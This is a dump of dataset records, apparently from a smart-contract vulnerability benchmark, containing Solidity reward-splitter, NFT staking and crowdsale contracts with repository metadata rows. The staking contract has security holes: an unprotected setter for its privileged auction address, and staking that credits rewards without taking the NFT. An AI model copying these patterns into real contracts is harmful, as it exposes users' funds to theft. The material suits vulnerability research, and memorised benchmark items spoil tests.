function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IERC20{
function approve(address spender, uint256 amount) external returns (bool);
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function mint(address account_, uint256 amount_) external;
function decimals() external view returns (uint8);
function burnFrom(address account_, uint256 amount_) external;
}
interface IRewardWeight{
function getRewardWeight(address receiver) view external returns(uint);
}
interface IRewardReceiver{
function receiveReward(uint amount) external;
}
abstract contract RewardReceiver is IRewardReceiver,Ownable{
event Log(uint value);
address public rewardToken;
function receiveReward(uint amount) external override{
require(IERC20(rewardToken).transferFrom(msg.sender,address(this),amount));
onRewardReceived(amount);
}
function onRewardReceived(uint amount) internal virtual;
function setRewardToken(address _rewardToken) external onlyOwner{
require(_rewardToken!=address(0));
rewardToken=_rewardToken;
}
}
interface Loggable{
event Log(address self,string contractName,string functionName,uint value);
}
contract Splitter is RewardReceiver,Loggable{
using SafeMath for uint;
struct ReceiverPoolInfo {
uint totalSent;
bool isActive;
}
IRewardWeight public rewardWeightContract;
IRewardReceiver[] public receivers;
mapping(address => ReceiverPoolInfo) public receiversInfo;
constructor(address _rewardWeightContract) {
require(_rewardWeightContract != address(0));
rewardWeightContract = IRewardWeight(_rewardWeightContract);
}
function onRewardReceived(uint amount) internal override{
emit Log(address(this),"Splitter","onRewardReceived",amount);
for(uint i=0;i<receivers.length;i++){
ReceiverPoolInfo storage info = receiversInfo[address(receivers[i])];
uint currentBalance = IERC20(rewardToken).balanceOf(address(this));
if (currentBalance > 0 && info.isActive) {
IRewardReceiver receiver = IRewardReceiver(receivers[i]);
uint rewardWeight = IRewardWeight(rewardWeightContract).getRewardWeight(address(receiver));
uint toSend = amount.mul(rewardWeight).div(10000);
//Send whatever remaining
if (currentBalance < toSend) toSend = currentBalance;
IERC20(rewardToken).approve(address(receiver),toSend);
//Update totalSent for receiver
info.totalSent = info.totalSent.add(toSend);
receiver.receiveReward(toSend);
}
}
}
function register(address receiver) external onlyOwner{
require(receiver != address(0), "Invalid receiver");
receivers.push(IRewardReceiver(receiver));
receiversInfo[receiver] = ReceiverPoolInfo(0, true);
}
function setRewardContract(address _rewardWeightContract) external onlyOwner {
require(_rewardWeightContract != address(0),"Invalid reward weight address");
rewardWeightContract = IRewardWeight(_rewardWeightContract);
}
function updateReceiverStatus(address receiver, bool status) external onlyOwner {
require(receiver != address(0), "Invalid receiver");
receiversInfo[receiver].isActive = status;
}
}
| 328,791 | 11,137 |
237c7473eb3dc92f84213d354cd88ee3002a8c40c1c133ff194bd09a0d08e826
| 15,036 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/3f/3F267FF4Ce382E6ec45eeFDeA20880bD1896dD68_OYAC_STAKING.sol
| 3,987 | 14,294 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function burnbyContract(uint256 _amount) external;
function withdrawStakingReward(address _address,uint256 _amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface gen_1{
function isStaked(address LockedUser) external view returns(bool);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC721 {
event Transfer(address indexed from, address indexed to, uint256 indexed LockedTokenid);
event Approval(address indexed owner, address indexed approved, uint256 indexed LockedTokenid);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 LockedTokenid) external view returns (address owner);
function safeTransferFrom(address from,address to,uint256 LockedTokenid) external;
function transferFrom(address from,address to,uint256 LockedTokenid) external;
function approve(address to, uint256 LockedTokenid) external;
function getApproved(uint256 LockedTokenid) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from,address to,uint256 LockedTokenid,bytes calldata data) external;
}
contract Ownable {
address public _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0),
"Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract OYAC_STAKING is Ownable{
//////////// Variables ////////////
using SafeMath for uint256;
IERC721 public NFT;
IERC20 public Token;
gen_1 public GEN_1;
address public DutuchAuction;
//////////// Locked - Structure ////////////
struct LockeduserInfo
{
uint256 totlaWithdrawn;
uint256 withdrawable;
uint256 totalStaked;
uint256 lockedAvaialable;
}
//////////// Locked - Mapping ////////////
mapping(address => LockeduserInfo) public LockedUser;
mapping(address => mapping(uint256 => uint256)) public LockedstakingTime;
mapping(address => uint256[]) public LockedTokenid;
mapping(address => uint256) public LockedtotalStakedNft;
mapping(uint256 => bool) public LockedalreadyAwarded;
mapping(address => mapping(uint256=>uint256)) public lockeddepositTime;
uint256 Time= 20 seconds;
uint256 LockingTime= 60 seconds;
uint256 maxNoOfDays = 3;
constructor(IERC721 _NFTToken,IERC20 _token,gen_1 _gen_1)
{
NFT =_NFTToken;
Token=_token;
GEN_1 = _gen_1;
}
modifier onlyDuctch() {
require(msg.sender == DutuchAuction , "Caller is not from Ductch Auction");
_;
}
function add_Dutch_address(address _dutuch) public {
DutuchAuction = _dutuch;
}
//////////// Locked Staking ////////////
function lockedStaking(uint256 _Tokenid, address _user) external
onlyDuctch
{
LockedTokenid[_user].push(_Tokenid);
LockedstakingTime[_user][_Tokenid]=block.timestamp;
if(!LockedalreadyAwarded[_Tokenid]){
lockeddepositTime[_user][_Tokenid]=block.timestamp;
}
LockedUser[_user].totalStaked+=1;
LockedtotalStakedNft[_user]+=1;
}
//////////// Reward Check Function ////////////
function lockedCalcTime(uint256 Tid) public view returns(uint256) {
uint256 noOfDays;
address addresss = msg.sender;
if(LockedstakingTime[addresss][Tid] > 0) {
noOfDays = (block.timestamp.sub(LockedstakingTime[addresss][Tid])).div(Time);
if (noOfDays > maxNoOfDays) {
noOfDays = maxNoOfDays;
}
else{
noOfDays = 0;
}
}
return noOfDays;
}
function lockedperNFTReward(address addrs) public view returns(uint256) {
bool check = GEN_1.isStaked(addrs);
uint256 rewardPerNFT;
if(check == true) {
rewardPerNFT = 15 ether;
}
else {
rewardPerNFT = 10 ether;
}
return rewardPerNFT;
}
function lockedSingleReward(address Add, uint256 Tid) public view returns(uint256) {
uint256 single_reward;
uint256 noOfDays;
uint256 rewardPerNFT = lockedperNFTReward(Add);
for (uint256 i=0; i<LockedTokenid[Add].length; i++){
uint256 _index=findlocked(Tid);
if(LockedalreadyAwarded[LockedTokenid[msg.sender][_index]] != true &&LockedTokenid[Add][i] == Tid && LockedTokenid[Add][i] > 0) {
noOfDays = lockedCalcTime(Tid);
if (noOfDays == maxNoOfDays){
single_reward = (rewardPerNFT).mul(noOfDays);
}
else if(noOfDays != maxNoOfDays) {
noOfDays = 0;
single_reward = (rewardPerNFT).mul(noOfDays);
}
}
}
return single_reward;
}
function lockedtotalReward(address Add) public view returns(uint256){
uint256 ttlReward;
for (uint256 i=0; i< LockedTokenid[Add].length; i++){
ttlReward += lockedSingleReward(Add, LockedTokenid[Add][i]);
}
return ttlReward;
}
//////////// Withdraw-Reward ////////////
function WithdrawLockedReward() public {
uint256 totalReward = lockedtotalReward(msg.sender) +
rewardOfUser(msg.sender) +
LockedUser[msg.sender].lockedAvaialable + User[msg.sender].availableToWithdraw ;
require(totalReward > 0,"you don't have reward yet!");
Token.withdrawStakingReward(msg.sender, totalReward);
for(uint256 i=0; i < LockedTokenid[msg.sender].length;i++){
uint256 _index=findlocked(LockedTokenid[msg.sender][i]);
LockedalreadyAwarded[LockedTokenid[msg.sender][_index]]=true;
// if(lockedCalcTime(LockedTokenid[msg.sender][i])==maxNoOfDays){
// LockedstakingTime[msg.sender][LockedTokenid[msg.sender][i]]=0;
// }
}
for(uint8 i=0;i<Tokenid[msg.sender].length;i++){
stakingTime[msg.sender][Tokenid[msg.sender][i]]=block.timestamp;
alreadyAwarded[Tokenid[msg.sender][i]]=true;
}
LockedUser[msg.sender].lockedAvaialable = 0;
User[msg.sender].availableToWithdraw = 0;
LockedUser[msg.sender].totlaWithdrawn += totalReward;
}
//////////// Get index by Value ////////////
function findlocked(uint value) public view returns(uint) {
uint i = 0;
while (LockedTokenid[msg.sender][i] != value) {
i++;
}
return i;
}
//////////// LockedUser have to pass tokenIdS to unstake ////////////
function unstakelocked(uint256[] memory TokenIds) external
{
address nftContract = msg.sender;
for(uint256 i=0; i<TokenIds.length; i++){
uint256 _index=findlocked(TokenIds[i]);
require(lockedCalcTime(LockedTokenid[msg.sender][_index])==maxNoOfDays," TIME NOT REACHED YET ");
require(LockedTokenid[msg.sender][_index] == TokenIds[i] ," NFT WITH THIS LOCKED_TOKEN_ID NOT FOUND ");
LockedUser[msg.sender].lockedAvaialable += lockedSingleReward(msg.sender,TokenIds[i]);
NFT.transferFrom(address(this),address(nftContract),TokenIds[i]);
delete LockedTokenid[msg.sender][_index];
LockedTokenid[msg.sender][_index]=LockedTokenid[msg.sender][LockedTokenid[msg.sender].length-1];
LockedstakingTime[msg.sender][TokenIds[i]]=0;
LockedTokenid[msg.sender].pop();
}
LockedUser[msg.sender].totalStaked -= TokenIds.length;
LockedtotalStakedNft[msg.sender]>0?LockedtotalStakedNft[msg.sender] -= TokenIds.length:LockedtotalStakedNft[msg.sender]=0;
}
//////////// Return All staked Nft's ////////////
function LockeduserNFT_s(address _staker)public view returns(uint256[] memory) {
return LockedTokenid[_staker];
}
function isLockedStaked(address _stakeHolder)public view returns(bool){
if(LockedtotalStakedNft[_stakeHolder]>0){
return true;
}else{
return false;
}
}
//////////// Withdraw Token ////////////
function WithdrawToken()public onlyOwner {
require(Token.transfer(msg.sender,Token.balanceOf(address(this))),"Token transfer Error!");
}
//////////////////////////////// SSTAKING /////////////////////////////////
struct userInfo
{
uint256 totlaWithdrawn;
uint256 withdrawable;
uint256 totalStaked;
uint256 availableToWithdraw;
}
mapping(address => mapping(uint256 => uint256)) public stakingTime;
mapping(address => userInfo) public User;
mapping(address => uint256[]) public Tokenid;
mapping(address=>uint256) public totalStakedNft;
mapping(uint256=>bool) public alreadyAwarded;
mapping(address=>mapping(uint256=>uint256)) public depositTime;
uint256 time= 10 seconds;
uint256 lockingtime= 1 minutes;
function Stake(uint256[] memory tokenId) external
{
for(uint256 i=0;i<tokenId.length;i++){
// require(NFT.ownerOf(tokenId[i]) == msg.sender,"nft not found");
// NFT.transferFrom(msg.sender,address(this),tokenId[i]);
Tokenid[msg.sender].push(tokenId[i]);
stakingTime[msg.sender][tokenId[i]]=block.timestamp;
if(!alreadyAwarded[tokenId[i]]){
depositTime[msg.sender][tokenId[i]]=block.timestamp;
}
}
User[msg.sender].totalStaked+=tokenId.length;
totalStakedNft[msg.sender]+=tokenId.length;
}
function rewardOfUser(address Add) public view returns(uint256)
{
uint256 RewardToken;
for(uint256 i = 0 ; i < Tokenid[Add].length ; i++){
if(Tokenid[Add][i] > 0)
{
RewardToken += (((block.timestamp - (stakingTime[Add][Tokenid[Add][i]])).div(time)))*10 ether;
}
}
return RewardToken;
}
// function WithdrawReward() public
// {
// uint256 reward = rewardOfUser(msg.sender) + User[msg.sender].availableToWithdraw;
// require(reward > 0,"you don't have reward yet!");
// Token.withdrawStakingReward(msg.sender,reward);
// for(uint8 i=0;i<Tokenid[msg.sender].length;i++){
// stakingTime[msg.sender][Tokenid[msg.sender][i]]=block.timestamp;
// }
// User[msg.sender].totlaWithdrawn += reward;
// User[msg.sender].availableToWithdraw = 0;
// for(uint256 i = 0 ; i < Tokenid[msg.sender].length ; i++){
// alreadyAwarded[Tokenid[msg.sender][i]]=true;
// }
// }
function find(uint value) internal view returns(uint) {
uint i = 0;
while (Tokenid[msg.sender][i] != value) {
i++;
}
return i;
}
function unstake(uint256[] memory _tokenId) external
{
User[msg.sender].availableToWithdraw+=rewardOfUser(msg.sender);
for(uint256 i=0;i<_tokenId.length;i++){
if(rewardOfUser(msg.sender)>0)alreadyAwarded[_tokenId[i]]=true;
uint256 _index=find(_tokenId[i]);
// require(Tokenid[msg.sender][_index] ==_tokenId[i] ,"NFT with this _tokenId not found");
// NFT.transferFrom(address(this),msg.sender,_tokenId[i]);
delete Tokenid[msg.sender][_index];
Tokenid[msg.sender][_index]=Tokenid[msg.sender][Tokenid[msg.sender].length-1];
stakingTime[msg.sender][_tokenId[i]]=0;
Tokenid[msg.sender].pop();
}
User[msg.sender].totalStaked-=_tokenId.length;
totalStakedNft[msg.sender]>0?totalStakedNft[msg.sender]-=_tokenId.length:totalStakedNft[msg.sender]=0;
}
function isStaked(address _stakeHolder)public view returns(bool){
if(totalStakedNft[_stakeHolder]>0){
return true;
}else{
return false;
}
}
function userStakedNFT(address _staker)public view returns(uint256[] memory) {
return Tokenid[_staker];
}
}
| 124,611 | 11,138 |
69c1d90d5d4d7a173c406289f4d218fe592e9d61e9ddc9a8cffff1ee55f44285
| 14,863 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x1056d0c770a7614cee6b2f1b3935866f3284ddf8.sol
| 4,027 | 14,482 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function getFractionalAmount(uint256 _amount, uint256 _percentage)
internal
pure
returns (uint256) {
return div(mul(_amount, _percentage), 100);
}
}
interface ERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address _who) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface DividendInterface{
function issueDividends(uint _amount) external payable returns (bool);
function totalSupply() external view returns (uint256);
function getERC20() external view returns (address);
}
interface KyberInterface {
function getExpectedRate(address src, address dest, uint srcQty) external view returns (uint expectedRate, uint slippageRate);
function trade(address src, uint srcAmount, address dest, address destAddress, uint maxDestAmount,uint minConversionRate, address walletId) external payable returns(uint);
}
interface MinterInterface {
function cloneToken(string _uri, address _erc20Address) external returns (address asset);
function mintAssetTokens(address _assetAddress, address _receiver, uint256 _amount) external returns (bool);
function changeTokenController(address _assetAddress, address _newController) external returns (bool);
}
interface CrowdsaleReserveInterface {
function issueETH(address _receiver, uint256 _amount) external returns (bool);
function receiveETH(address _payer) external payable returns (bool);
function refundETHAsset(address _asset, uint256 _amount) external returns (bool);
function issueERC20(address _receiver, uint256 _amount, address _tokenAddress) external returns (bool);
function requestERC20(address _payer, uint256 _amount, address _tokenAddress) external returns (bool);
function approveERC20(address _receiver, uint256 _amount, address _tokenAddress) external returns (bool);
function refundERC20Asset(address _asset, uint256 _amount, address _tokenAddress) external returns (bool);
}
interface Events {
function transaction(string _message, address _from, address _to, uint _amount, address _token) external;
function asset(string _message, string _uri, address _assetAddress, address _manager);
}
interface DB {
function addressStorage(bytes32 _key) external view returns (address);
function uintStorage(bytes32 _key) external view returns (uint);
function setUint(bytes32 _key, uint _value) external;
function deleteUint(bytes32 _key) external;
function setBool(bytes32 _key, bool _value) external;
function boolStorage(bytes32 _key) external view returns (bool);
}
contract CrowdsaleERC20{
using SafeMath for uint256;
DB private database;
Events private events;
MinterInterface private minter;
CrowdsaleReserveInterface private reserve;
KyberInterface private kyber;
constructor(address _database, address _events, address _kyber)
public{
database = DB(_database);
events = Events(_events);
minter = MinterInterface(database.addressStorage(keccak256(abi.encodePacked("contract", "Minter"))));
reserve = CrowdsaleReserveInterface(database.addressStorage(keccak256(abi.encodePacked("contract", "CrowdsaleReserve"))));
kyber = KyberInterface(_kyber);
}
function buyAssetOrderERC20(address _assetAddress, uint _amount, address _paymentToken)
external
payable
returns (bool) {
require(database.addressStorage(keccak256(abi.encodePacked("asset.manager", _assetAddress))) != address(0), "Invalid asset");
require(now <= database.uintStorage(keccak256(abi.encodePacked("crowdsale.deadline", _assetAddress))), "Past deadline");
require(!database.boolStorage(keccak256(abi.encodePacked("crowdsale.finalized", _assetAddress))), "Crowdsale finalized");
if(_paymentToken == address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)){
require(msg.value == _amount, 'Msg.value does not match amount');
} else {
require(msg.value == 0, 'Msg.value should equal zero');
}
ERC20 fundingToken = ERC20(DividendInterface(_assetAddress).getERC20());
uint fundingRemaining = database.uintStorage(keccak256(abi.encodePacked("crowdsale.remaining", _assetAddress)));
uint collected;
uint amount;
if(_paymentToken == address(fundingToken)){
collected = collectPayment(msg.sender, _amount, fundingRemaining, fundingToken);
} else {
collected = convertTokens(msg.sender, _amount, fundingToken, ERC20(_paymentToken), fundingRemaining);
}
require(collected > 0);
if(collected < fundingRemaining){
amount = collected.mul(100).div(uint(100).add(database.uintStorage(keccak256(abi.encodePacked("platform.fee")))));
database.setUint(keccak256(abi.encodePacked("crowdsale.remaining", _assetAddress)), fundingRemaining.sub(collected));
require(minter.mintAssetTokens(_assetAddress, msg.sender, amount), "Investor minting failed");
require(fundingToken.transfer(address(reserve), collected));
} else {
amount = fundingRemaining.mul(100).div(uint(100).add(database.uintStorage(keccak256(abi.encodePacked("platform.fee")))));
database.setBool(keccak256(abi.encodePacked("crowdsale.finalized", _assetAddress)), true);
database.deleteUint(keccak256(abi.encodePacked("crowdsale.remaining", _assetAddress)));
require(minter.mintAssetTokens(_assetAddress, msg.sender, amount), "Investor minting failed");
require(fundingToken.transfer(address(reserve), fundingRemaining));
events.asset('Crowdsale finalized', '', _assetAddress, msg.sender);
if(collected > fundingRemaining){
require(fundingToken.transfer(msg.sender, collected.sub(fundingRemaining)));
}
}
events.transaction('Asset purchased', address(this), msg.sender, amount, _assetAddress);
return true;
}
function payoutERC20(address _assetAddress)
external
whenNotPaused
returns (bool) {
require(database.boolStorage(keccak256(abi.encodePacked("crowdsale.finalized", _assetAddress))), "Crowdsale not finalized");
require(!database.boolStorage(keccak256(abi.encodePacked("crowdsale.paid", _assetAddress))), "Crowdsale has paid out");
database.setBool(keccak256(abi.encodePacked("crowdsale.paid", _assetAddress)), true);
address fundingToken = DividendInterface(_assetAddress).getERC20();
address platformAssetsWallet = database.addressStorage(keccak256(abi.encodePacked("platform.wallet.assets")));
require(platformAssetsWallet != address(0), "Platform assets wallet not set");
require(minter.mintAssetTokens(_assetAddress, database.addressStorage(keccak256(abi.encodePacked("contract", "AssetManagerFunds"))), database.uintStorage(keccak256(abi.encodePacked("asset.managerTokens", _assetAddress)))), "Manager minting failed");
require(minter.mintAssetTokens(_assetAddress, platformAssetsWallet, database.uintStorage(keccak256(abi.encodePacked("asset.platformTokens", _assetAddress)))), "Platform minting failed");
address receiver = database.addressStorage(keccak256(abi.encodePacked("asset.manager", _assetAddress)));
address platformFundsWallet = database.addressStorage(keccak256(abi.encodePacked("platform.wallet.funds")));
require(receiver != address(0) && platformFundsWallet != address(0), "Platform funds walllet or receiver address not set");
uint amount = database.uintStorage(keccak256(abi.encodePacked("crowdsale.goal", _assetAddress)));
uint platformFee = amount.getFractionalAmount(database.uintStorage(keccak256(abi.encodePacked("platform.fee"))));
require(reserve.issueERC20(platformFundsWallet, platformFee, fundingToken), 'Platform funds not paid');
require(reserve.issueERC20(receiver, amount, fundingToken), 'Receiver funds not paid');
database.deleteUint(keccak256(abi.encodePacked("crowdsale.start", _assetAddress)));
address manager = database.addressStorage(keccak256(abi.encodePacked("asset.manager", _assetAddress)));
database.setUint(keccak256(abi.encodePacked("manager.assets", manager)), database.uintStorage(keccak256(abi.encodePacked("manager.assets", manager))).add(1));
events.transaction('Asset payout', _assetAddress, receiver, amount, fundingToken);
return true;
}
function cancel(address _assetAddress)
external
whenNotPaused
validAsset(_assetAddress)
beforeDeadline(_assetAddress)
notFinalized(_assetAddress)
returns (bool){
require(msg.sender == database.addressStorage(keccak256(abi.encodePacked("asset.manager", _assetAddress))));
database.setUint(keccak256(abi.encodePacked("crowdsale.deadline", _assetAddress)), 1);
refund(_assetAddress);
}
function refund(address _assetAddress)
public
whenNotPaused
validAsset(_assetAddress)
afterDeadline(_assetAddress)
notFinalized(_assetAddress)
returns (bool) {
require(database.uintStorage(keccak256(abi.encodePacked("crowdsale.deadline", _assetAddress))) != 0);
database.deleteUint(keccak256(abi.encodePacked("crowdsale.deadline", _assetAddress)));
DividendInterface assetToken = DividendInterface(_assetAddress);
address tokenAddress = assetToken.getERC20();
uint refundValue = assetToken.totalSupply().mul(uint(100).add(database.uintStorage(keccak256(abi.encodePacked("platform.fee"))))).div(100);
reserve.refundERC20Asset(_assetAddress, refundValue, tokenAddress);
return true;
}
function collectPayment(address user, uint amount, uint max, ERC20 token)
private
returns (uint){
if(amount > max){
token.transferFrom(user, address(this), max);
return max;
} else {
token.transferFrom(user, address(this), amount);
return amount;
}
}
function convertTokens(address _investor, uint _amount, ERC20 _fundingToken, ERC20 _paymentToken, uint _maxTokens)
private
returns (uint) {
uint paymentBalanceBefore;
uint fundingBalanceBefore;
uint change;
uint investment;
if(address(_paymentToken) == address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)){
paymentBalanceBefore = address(this).balance;
fundingBalanceBefore = _fundingToken.balanceOf(this);
kyber.trade.value(_amount)(address(_paymentToken), _amount, address(_fundingToken), address(this), _maxTokens, 0, 0);
change = _amount.sub(paymentBalanceBefore.sub(address(this).balance));
investment = _fundingToken.balanceOf(this).sub(fundingBalanceBefore);
if(change > 0){
_investor.transfer(change);
}
} else {
collectPayment(_investor, _amount, _amount, _paymentToken);
require(_paymentToken.approve(address(kyber), 0));
_paymentToken.approve(address(kyber), _amount);
paymentBalanceBefore = _paymentToken.balanceOf(this);
fundingBalanceBefore = _fundingToken.balanceOf(this);
kyber.trade(address(_paymentToken), _amount, address(_fundingToken), address(this), _maxTokens, 0, 0);
change = _amount.sub(paymentBalanceBefore.sub(_paymentToken.balanceOf(this)));
investment = _fundingToken.balanceOf(this).sub(fundingBalanceBefore);
if(change > 0){
_paymentToken.transfer(_investor, change);
}
}
emit Convert(address(_paymentToken), change, investment);
return investment;
}
function recoverTokens(address _erc20Token)
onlyOwner
external {
ERC20 thisToken = ERC20(_erc20Token);
uint contractBalance = thisToken.balanceOf(address(this));
thisToken.transfer(msg.sender, contractBalance);
}
function destroy()
onlyOwner
external {
events.transaction('CrowdsaleERC20 destroyed', address(this), msg.sender, address(this).balance, address(0));
selfdestruct(msg.sender);
}
function ()
external
payable {
emit EtherReceived(msg.sender, msg.value);
}
modifier onlyOwner {
require(database.boolStorage(keccak256(abi.encodePacked("owner", msg.sender))), "Not owner");
_;
}
modifier whenNotPaused {
require(!database.boolStorage(keccak256(abi.encodePacked("paused", address(this)))));
_;
}
modifier validAsset(address _assetAddress) {
require(database.addressStorage(keccak256(abi.encodePacked("asset.manager", _assetAddress))) != address(0), "Invalid asset");
_;
}
modifier beforeDeadline(address _assetAddress) {
require(now < database.uintStorage(keccak256(abi.encodePacked("crowdsale.deadline", _assetAddress))), "Before deadline");
_;
}
modifier betweenDeadlines(address _assetAddress) {
require(now <= database.uintStorage(keccak256(abi.encodePacked("crowdsale.deadline", _assetAddress))), "Past deadline");
require(now >= database.uintStorage(keccak256(abi.encodePacked("crowdsale.start", _assetAddress))), "Before start time");
_;
}
modifier afterDeadline(address _assetAddress) {
require(now > database.uintStorage(keccak256(abi.encodePacked("crowdsale.deadline", _assetAddress))), "Before deadline");
_;
}
modifier finalized(address _assetAddress) {
require(database.boolStorage(keccak256(abi.encodePacked("crowdsale.finalized", _assetAddress))), "Crowdsale not finalized");
_;
}
modifier notFinalized(address _assetAddress) {
require(!database.boolStorage(keccak256(abi.encodePacked("crowdsale.finalized", _assetAddress))), "Crowdsale finalized");
_;
}
modifier notPaid(address _assetAddress) {
require(!database.boolStorage(keccak256(abi.encodePacked("crowdsale.paid", _assetAddress))), "Crowdsale has paid out");
_;
}
event Convert(address token, uint change, uint investment);
event EtherReceived(address sender, uint amount);
}
| 161,438 | 11,139 |
9bde594444a725ac024b770923f93d241282f075c766ac7a663ca8c2deb4576a
| 26,047 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/87/872b485a07Cb24C269E7cca775202050b16A750B_CunoroStaking.sol
| 4,424 | 17,652 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
